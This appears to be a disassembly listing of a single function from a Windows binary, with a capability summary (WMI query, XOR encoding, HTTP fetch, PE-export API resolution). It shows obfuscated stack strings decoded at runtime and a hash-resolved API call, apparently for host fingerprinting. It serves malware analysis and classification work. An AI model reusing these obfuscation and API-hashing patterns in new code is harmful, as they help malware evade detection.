Function at 0x4338b0
Capabilities:
Connect to wmi namespace via wbemlocator
Encode data using xor
Get http document via iwebbrowser2
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x98
mov eax, dword [0x4491f0]
mov dword [esp + 0x10], 0xb9cfbbdf
mov dword [esp + 0x14], 0xbd2bbf37
mov dword [esp + 0x18], 0xb129b328
mov dword [esp + 0x1c], 0xb5f2b723
mov dword [esp + 0x20], 0xa935ab22
mov dword [esp + 0x24], 0xad35af22
mov dword [esp + 0x28], 0xa1a2a3f7
mov ecx, 0x47c3a49f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [esp + ecx - 0x47c3a48f]
lea esi, [ecx - 0x47c3a400]
and esi, edx
or edx, ecx
xor edx, esi
mov esi, 2
sub esi, edx
sub esi, edx
not esi
and esi, 2
mov ebx, edx
or ebx, 1
and edx, 1
sub ebx, edx
add ebx, esi
add bl, 0xe4
mov byte [esp + ecx - 0x47c3a48f], bl
inc ecx
cmp ecx, 0x47c3a4bb
jne 0x433910
mov ecx, esp
lea esi, [esp + 0x84]
lea ebx, [esp + 0x10]
push ecx
push 8
push esi
push 0xd
push ebx
push 0
call eax
test eax, eax
jns 0x433978
mov dword [esp + 0x84], 0x3a0043
mov dword [esp + 0x88], 0x5c
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov dword [esp + 0x50], 0
lea eax, [esp + 0x50]
push eax
push 0x43f670
push 1
push 0
push 0x43f680
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x433f07
mov dword [esp + 0x10], 0x29db2bd2
mov dword [esp + 0x14], 0x2dda2fd9
mov dword [esp + 0x18], 0xd117d3d0
mov dword [esp + 0x1c], 0xd525d71f
mov dword [esp + 0x20], 0xd90cdb2e
mov dword [esp + 0x24], 0xdfd8
xor eax, eax
xor ecx, ecx
nop
movzx esi, byte [esp + ecx + 0x10]
mov edi, eax
and edi, 0x2e
mov edx, ecx
xor edx, 0xee94b4f7
add edx, edi
xor edx, esi
mov ebx, edx
and ebx, 0x2c
add ebx, ebx
xor edx, 0xd3
sub ebx, edx
mov byte [esp + ecx + 0x10], bl
inc ecx
add eax, 2
cmp ecx, 0x18
jne 0x433a00
lea ebx, [esp + 0x10]
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x50]
mov ecx, dword [esi]
lea edx, [esp + 0x4c]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov dword [esp + 0x88], eax
push eax
push esi
call dword [ecx + 0xc]
test eax, eax
lea esi, [esp + 0x84]
js 0x433ef3
push 0
push 0
push 3
push 3
push 0
push 0
push 0xa
push dword [esp + 0x68]
call dword [sym.imp.ole32.dll_CoSetProxyBlanket]
test eax, eax
js 0x433ee9
mov dword [esp + 0x10], 0x1d507dd
mov dword [esp + 0x14], 0xd0203d4
mov word [esp + 0x18], 0
mov ecx, 0xa6f89240
mov eax, 0x59076dbe
movzx edx, byte [esp + ecx + 0x59076dd0]
mov esi, eax
not esi
or esi, edx
mov edi, eax
sub edi, edx
add edi, esi
lea esi, [ecx + 1]
or edx, esi
and edx, edi
add dl, 0xbb
mov byte [esp + ecx + 0x59076dd0], dl
dec eax
mov ecx, esi
cmp esi, 0xa6f8924a
jne 0x433ab0
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x58], eax
mov dword [esp + 0x10], 0xf4b095f
mov dword [esp + 0x14], 0x3470d50
mov dword [esp + 0x18], 0x7520147
mov dword [esp + 0x1c], 0x1b240524
mov dword [esp + 0x20], 0x1f441938
mov dword [esp + 0x24], 0x13411d4a
mov dword [esp + 0x28], 0x1736114d
mov dword [esp + 0x2c], 0x2b53157f
mov dword [esp + 0x30], 0x2f19295a
mov dword [esp + 0x34], 0x23412d1a
mov dword [esp + 0x38], 0x277f2166
mov dword [esp + 0x3c], 0x3b6d2577
mov word [esp + 0x40], 0x3938
mov dword [esp + 0x42], 0
mov word [esp + 0x46], 0
mov eax, 0x58554102
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esp + eax - 0x585540f2]
xor ecx, eax
lea edx, [ecx + ecx]
and edx, 0x80aa01ea
sub ecx, edx
add ecx, 0x4655baf5
mov esi, ecx
and esi, edx
xor ecx, edx
lea ecx, [ecx + esi*2]
inc cl
mov byte [esp + eax - 0x585540f2], cl
inc eax
cmp eax, 0x5855413a
jne 0x433b70
push ebx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov esi, dword [esp + 0x4c]
mov ecx, dword [esi]
lea edx, [esp + 0x64]
push edx
push 0
push 0x30
mov dword [esp + 0x74], eax
push eax
push dword [esp + 0x68]
push esi
call dword [ecx + 0x50]
test eax, eax
js 0x433ed0
mov dword [esp + 0x5c], 0
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
lea edx, [esp + 0x5c]
lea esi, [esp + 0x60]
push edx
push esi
push 1
push 0xffffffffffffffff
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x433ec6
cmp eax, 1
je 0x433ec6
cmp dword [esp + 0x5c], 0
je 0x433ec6
lea eax, [esp + 0x70]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x60]
mov dword [esp + 0x10], 0x61196709
mov dword [esp + 0x14], 0x7d196312
mov dword [esp + 0x18], 0x790a7f1f
mov dword [esp + 0x1c], 0x75f57b2e
mov dword [esp + 0x20], 0x71147703
mov dword [esp + 0x24], 0x8d00730f
mov dword [esp + 0x28], 0x8f8c
mov byte [esp + 0x2c], 0
mov ecx, 0x30
mov edx, 0x4f
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov esi, edx
and esi, 0x47
mov ebx, ecx
and ebx, 0x38
sub ebx, esi
xor bl, byte [esp + ecx - 0x20]
add bl, 0x73
mov byte [esp + ecx - 0x20], bl
inc ecx
dec edx
cmp ecx, 0x4d
jne 0x433c70
mov ecx, dword [eax]
push 0
push 0
lea esi, [esp + 0x78]
push esi
push 0
lea ebx, [esp + 0x20]
push ebx
push eax
call dword [ecx + 0x10]
test eax, eax
js 0x433eb5
cmp word [esp + 0x70], 8
jne 0x433eb5
mov esi, dword [esp + 0x78]
movzx ecx, word [esi]
test cx, cx
je 0x433d03
lea eax, [esi + 2]
xor edx, edx
jmp 0x433cdc
inc edx
movzx ecx, word [eax]
add eax, 2
test cx, cx
je 0x433d05
cmp cx, 0x7f
jbe 0x433cd0
mov edi, edx
movzx edx, cx
cmp edx, 0x7ff
ja 0x433cf6
mov edx, edi
add edx, 2
jmp 0x433cd1
cmp cx, 0xffff
mov edx, edi
je 0x433cd1
add edx, 3
jmp 0x433cd1
xor edx, edx
lea eax, [edx + 1]
push eax
mov edi, edx
call fcn.004082d0
add esp, 4
mov dword [esp + 0x48], eax
mov dword [esp + 0x54], edi
test edi, edi
je 0x433e50
movzx ecx, word [esi]
mov eax, dword [esp + 0x48]
test cx, cx
je 0x433e50
mov edx, dword [esp + 0x54]
mov eax, dword [esp + 0x48]
nop
nop
nop
nop
nop
movzx ebx, cx
lea edi, [esi + 2]
cmp bx, 0x7f
ja 0x433d60
mov byte [eax], bl
lea ecx, [eax + 1]
jmp 0x433df0
cmp ebx, 0x7ff
ja 0x433d85
cmp edx, 2
jb 0x433d85
mov ecx, ebx
shr ecx, 6
add cl, 0xc0
mov byte [eax], cl
and bl, 0x3f
or bl, 0x80
lea ecx, [eax + 2]
mov byte [eax + 1], bl
jmp 0x433df0
mov ecx, ebx
and ecx, 0xfc00
cmp ecx, 0xd800
jne 0x433e0e
cmp edx, 4
jb 0x433e0e
movzx edi, word [esi + 2]
add esi, 4
shl ebx, 0xa
add ebx, edi
add ebx, 0xfca02400
mov ecx, ebx
shr ecx, 0x12
add cl, 0xf0
mov byte [eax], cl
mov ecx, ebx
shr ecx, 0xc
and cl, 0x3f
or cl, 0x80
mov byte [eax + 1], cl
shr ebx, 6
mov ecx, ebx
xor ecx, 0xc0
or ebx, 0x3f
and ebx, ecx
add bl, 0x80
mov byte [eax + 2], bl
mov ecx, edi
and cl, 0x3f
or cl, 0x80
mov ebx, ecx
lea ecx, [eax + 4]
mov byte [eax + 3], bl
mov edi, esi
nop
nop
nop
nop
lea ebx, [esp + 0x10]
add edx, eax
sub edx, ecx
mov esi, edi
mov eax, ecx
movzx ecx, word [esi]
test cx, cx
je 0x433e50
test edx, edx
jne 0x433d40
jmp 0x433e50
movzx ecx, cx
cmp ecx, 0xdc00
jne 0x433e21
mov esi, edi
lea ebx, [esp + 0x10]
jmp 0x433dfc
cmp edx, 3
jb 0x433e4c
mov ecx, ebx
shr ecx, 0xc
or cl, 0xe0
mov byte [eax], cl
mov ecx, ebx
shr ecx, 6
and cl, 0x3f
or cl, 0x80
mov byte [eax + 1], cl
and bl, 0x3f
or bl, 0x80
lea ecx, [eax + 3]
mov byte [eax + 2], bl
jmp 0x433df0
mov ecx, eax
jmp 0x433df0
mov byte [eax], 0
mov edx, dword [esp + 0x48]
mov eax, dword [edx]
mov dword [esp], eax
mov ecx, dword [esp + 0x54]
mov eax, ecx
xor eax, 4
and ecx, 0xfffffffb
add ecx, ecx
sub ecx, eax
cmp ecx, 4
jb 0x433ea8
mov eax, dword [edx + 4]
mov dword [esp + 4], eax
mov eax, ecx
xor eax, 4
and ecx, 0xfffffffb
add ecx, ecx
sub ecx, eax
cmp ecx, 4
jb 0x433ea8
mov eax, dword [edx + 8]
mov dword [esp + 8], eax
mov eax, ecx
xor eax, 4
and ecx, 0xfffffffb
add ecx, ecx
sub ecx, eax
cmp ecx, 4
jb 0x433ea8
mov eax, dword [edx + 0xc]
mov dword [esp + 0xc], eax
push edx
call fcn.004082e0
add esp, 4
lea esi, [esp + 0x70]
push esi
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov eax, dword [esp + 0x60]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [esp + 0x64]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
push dword [esp + 0x58]
call esi
push dword [esp + 0x68]
call esi
lea esi, [esp + 0x84]
mov eax, dword [esp + 0x4c]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [esp + 0x6c]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esp + 0x50]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov dword [esp + 0x10], 0
push 0x72a7c387
push dword [0x4491e8]
call fcn.0043bc60
add esp, 8
push 0
push 0
push 0
push 0
push ebx
push 0
push 0
push esi
call eax
test eax, eax
je 0x43408e
imul eax, dword [esp + 0x10], 0x1a5845
add eax, 0xebde8a13
mov dword [esp], eax
mov esi, 0xfffffff7
push 0x10
push 9
push dword [ebp + 8]
push eax
call fcn.0041a9e0
add esp, 0x10
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x433f60
test esi, esi
je 0x433f7e
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408350
add esp, 0xc
mov eax, dword [ebp + 8]
add eax, 8
xor ecx, ecx
cmp dword [esp + 4], 0
setne cl
imul ecx, dword [esp + ecx*4], 0x1a5845
add ecx, 0xebde8a13
mov dword [esp + 4], ecx
mov esi, 0xfffffff7
push 0x10
push 9
push eax
push ecx
call fcn.0041a9e0
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x433fc0
test esi, esi
je 0x433fde
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408350
add esp, 0xc
mov eax, dword [ebp + 8]
add eax, 0x10
xor ecx, ecx
cmp dword [esp + 8], 0
setne cl
imul ecx, dword [esp + ecx*4 + 4], 0x1a5845
add ecx, 0xebde8a13
mov dword [esp + 8], ecx
mov esi, 0xfffffff7
push 0x10
push 9
push eax
push ecx
call fcn.0041a9e0
add esp, 0x10
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x434020
test esi, esi
je 0x43403e
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408350
add esp, 0xc
mov ecx, dword [ebp + 8]
add ecx, 0x18
xor eax, eax
cmp dword [esp + 0xc], 0
setne al
imul eax, dword [esp + eax*4 + 8], 0x1a5845
add eax, 0xebde8a13
mov esi, 0xfffffff7
push 0x10
push 9
push ecx
push eax
call fcn.0041a9e0
add esp, 0x10
nop
nop
cmp byte [eax + esi + 9], 0
lea esi, [esi + 1]
jne 0x434070
test esi, esi
je 0x43408e
add eax, esi
neg esi
push esi
push 0x30
push eax
call fcn.00408350
add esp, 0xc
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret